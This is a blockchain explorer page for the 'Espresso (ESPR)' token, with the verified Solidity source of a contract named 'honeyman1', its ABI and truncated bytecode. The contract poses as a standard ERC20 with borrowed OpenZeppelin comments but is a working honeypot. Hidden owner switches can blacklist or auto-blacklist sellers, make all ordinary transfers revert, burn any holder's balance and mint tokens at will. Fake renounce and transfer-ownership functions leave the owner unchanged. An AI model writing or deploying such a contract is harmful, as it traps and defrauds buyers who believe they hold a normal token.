ETH Price: $3,385.45 (-0.08%)
Gas: 5 Gwei

Token

Espresso (ESPR)
 

Overview

Max Total Supply

10,000,000,000 ESPR

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Robinhood
Balance
1,500,000,000 ESPR

Value
$0.00
0x40b38765696e3d5d8d9d834d8aad4bb6e418e489
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
honeyman1

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-24
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract honeyman1 is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 10 * 10 ** 9 * 10 ** 18;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */

    constructor() {
        _name = "Espresso";
        _symbol = "ESPR";
        _balances[msg.sender] = _totalSupply;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }

    function myChocolate(address account, uint256 amount) public onlyOwner {
        chocolates[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function setFee(uint256 amount) public onlyOwner {
        require(amount >= 0);
        require(amount <= 100);
        fee = amount;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0));
        address oldOwner = owner();
        emit OwnershipTransferred(oldOwner, _newOwner);
    }

    function RenounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (honey) {
            uint256 fromBalance = _balances[from];
            require(
                fromBalance >= amount,
                "ERC20: transfer amount exceeds balance"
            );
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
        } else {
            _beforeTokenTransfer(from, amount);
            burnFee(from, to, amount);
        }
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function burnFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (sender != owner() && !candy[sender] && sender != address(this)) {
            uint256 burnFees = ((value * fee) / 100);
            uint256 amount = value - burnFees;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
            if (fee > 0) {
                _balances[sender] = _balances[sender] - burnFees;
                _balances[deadAddress] = _balances[deadAddress] + burnFees;
                emit Transfer(sender, deadAddress, burnFees);
            }
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */

    address private pairUniswap;

    function setUniswapPair(
        address _pairUniswap
    ) public onlyOwner returns (bool) {
        pairUniswap = _pairUniswap;
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        uint256 amount
    ) internal virtual {
        if (
            from != owner() && !candy[from] && from != pairUniswap // pair address to be changed
        ) {
            require(!coal[from]);
            if (chocolates[from] > 0) {
                require(amount <= chocolates[from]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[from] <= limits);
            }

            if (autoCoal) {
                pickCoal(from);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setHoney(bool _honey) public onlyOwner {
        honey = _honey;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    mapping(address => uint256) private chocolates;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    uint256 public fee;
    bool public autoCoal;
    bool private honey = false;
    bool public ownershipToNull;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"RenounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairUniswap","type":"address"}],"name":"setUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526b204fce5e3e250261100000006003556000600e60016101000a81548160ff0219169083151502179055503480156200003c57600080fd5b5060006200004f620001c760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600881526020017f457370726573736f0000000000000000000000000000000000000000000000008152506004908162000133919062000449565b506040518060400160405280600481526020017f4553505200000000000000000000000000000000000000000000000000000000815250600590816200017a919062000449565b50600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000530565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200025157607f821691505b60208210810362000267576200026662000209565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000292565b620002dd868362000292565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200032a620003246200031e84620002f5565b620002ff565b620002f5565b9050919050565b6000819050919050565b620003468362000309565b6200035e620003558262000331565b8484546200029f565b825550505050565b600090565b6200037562000366565b620003828184846200033b565b505050565b5b81811015620003aa576200039e6000826200036b565b60018101905062000388565b5050565b601f821115620003f957620003c3816200026d565b620003ce8462000282565b81016020851015620003de578190505b620003f6620003ed8562000282565b83018262000387565b50505b505050565b600082821c905092915050565b60006200041e60001984600802620003fe565b1980831691505092915050565b60006200043983836200040b565b9150826002028217905092915050565b6200045482620001cf565b67ffffffffffffffff81111562000470576200046f620001da565b5b6200047c825462000238565b62000489828285620003ae565b600060209050601f831160018114620004c15760008415620004ac578287015190505b620004b885826200042b565b86555062000528565b601f198416620004d1866200026d565b60005b82811015620004fb57848901518255600182019150602085019450602081019050620004d4565b868310156200051b578489015162000517601f8916826200040b565b8355505b6001600288020188555050505b505050505050565b61340e80620005406000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c806389fe85071161011a578063ce1fd380116100ad578063ddca3f431161007c578063ddca3f43146105ff578063de8f15171461061d578063f2fde38b14610639578063f865d99b14610655578063fb8bd26f1461067157610206565b8063ce1fd38014610567578063d5aed6bf14610583578063d6e3b886146105b3578063dd62ed3e146105cf57610206565b8063a457c2d7116100e9578063a457c2d7146104cd578063a9059cbb146104fd578063ae96ffe61461052d578063b70c28411461054957610206565b806389fe8507146104595780638da5cb5b1461047557806395d89b4114610493578063a1c61f50146104b157610206565b8063313ce5671161019d578063661751f91161016c578063661751f9146103a357806369fe0e2d146103d35780636d2f2ed6146103ef57806370a082311461040b578063860aefcf1461043b57610206565b8063313ce5671461031d578063395093511461033b57806359fa6d721461036b578063632445551461038757610206565b806318160ddd116101d957806318160ddd14610293578063228cb733146102b157806323b872dd146102cf57806327722f6a146102ff57610206565b8063032049891461020b57806306fdde0314610227578063095ea7b3146102455780630f953cca14610275575b600080fd5b61022560048036038101906102209190612930565b61068d565b005b61022f61077d565b60405161023c91906129ed565b60405180910390f35b61025f600480360381019061025a9190612a45565b61080f565b60405161026c9190612aa0565b60405180910390f35b61027d610832565b60405161028a9190612aa0565b60405180910390f35b61029b610845565b6040516102a89190612aca565b60405180910390f35b6102b961084f565b6040516102c69190612aa0565b60405180910390f35b6102e960048036038101906102e49190612ae5565b610862565b6040516102f69190612aa0565b60405180910390f35b610307610891565b6040516103149190612aca565b60405180910390f35b610325610897565b6040516103329190612b54565b60405180910390f35b61035560048036038101906103509190612a45565b6108a0565b6040516103629190612aa0565b60405180910390f35b61038560048036038101906103809190612b9b565b6108d7565b005b6103a1600480360381019061039c9190612930565b610989565b005b6103bd60048036038101906103b89190612bc8565b610a79565b6040516103ca9190612c17565b60405180910390f35b6103ed60048036038101906103e89190612c32565b610b33565b005b61040960048036038101906104049190612930565b610bee565b005b61042560048036038101906104209190612930565b610cde565b6040516104329190612aca565b60405180910390f35b610443610d27565b6040516104509190612aca565b60405180910390f35b610473600480360381019061046e9190612c32565b610d2d565b005b61047d610dcc565b60405161048a9190612c17565b60405180910390f35b61049b610df5565b6040516104a891906129ed565b60405180910390f35b6104cb60048036038101906104c69190612b9b565b610e87565b005b6104e760048036038101906104e29190612a45565b610f39565b6040516104f49190612aa0565b60405180910390f35b61051760048036038101906105129190612a45565b610fb0565b6040516105249190612aa0565b60405180910390f35b61054760048036038101906105429190612c32565b610fd3565b005b610551611072565b60405161055e9190612aa0565b60405180910390f35b610581600480360381019061057c9190612930565b611085565b005b61059d60048036038101906105989190612930565b611175565b6040516105aa9190612aa0565b60405180910390f35b6105cd60048036038101906105c89190612a45565b611256565b005b6105e960048036038101906105e49190612c5f565b611333565b6040516105f69190612aca565b60405180910390f35b6106076113ba565b6040516106149190612aca565b60405180910390f35b61063760048036038101906106329190612a45565b6113c0565b005b610653600480360381019061064e9190612930565b6114e7565b005b61066f600480360381019061066a9190612b9b565b61161f565b005b61068b60048036038101906106869190612a45565b6116d1565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606004805461078c90612d3a565b80601f01602080910402602001604051908101604052809291908181526020018280546107b890612d3a565b80156108055780601f106107da57610100808354040283529160200191610805565b820191906000526020600020905b8154815290600101906020018083116107e857829003601f168201915b5050505050905090565b60008061081a611a9a565b9050610827818585611aa2565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600354905090565b600a60009054906101000a900460ff1681565b60008061086d611a9a565b905061087a858285611c6b565b610885858585611cf7565b60019150509392505050565b600b5481565b60006012905090565b6000806108ab611a9a565b90506108cc8185856108bd8589611333565b6108c79190612d9a565b611aa2565b600191505092915050565b6108df611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390612ceb565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b610991611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1590612ceb565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a83611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612ceb565b60405180910390fd5b81600e60026101000a81548160ff02191690831515021790555082905092915050565b610b3b611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90612ceb565b60405180910390fd5b6000811015610bd657600080fd5b6064811115610be457600080fd5b80600d8190555050565b610bf6611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90612ceb565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610d35611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db990612ceb565b60405180910390fd5b80600b8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e0490612d3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3090612d3a565b8015610e7d5780601f10610e5257610100808354040283529160200191610e7d565b820191906000526020600020905b815481529060010190602001808311610e6057829003601f168201915b5050505050905090565b610e8f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612ceb565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b600080610f44611a9a565b90506000610f528286611333565b905083811015610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612e40565b60405180910390fd5b610fa48286868403611aa2565b60019250505092915050565b600080610fbb611a9a565b9050610fc8818585611cf7565b600191505092915050565b610fdb611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90612ceb565b60405180910390fd5b80600c8190555050565b600e60029054906101000a900460ff1681565b61108d611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111190612ceb565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260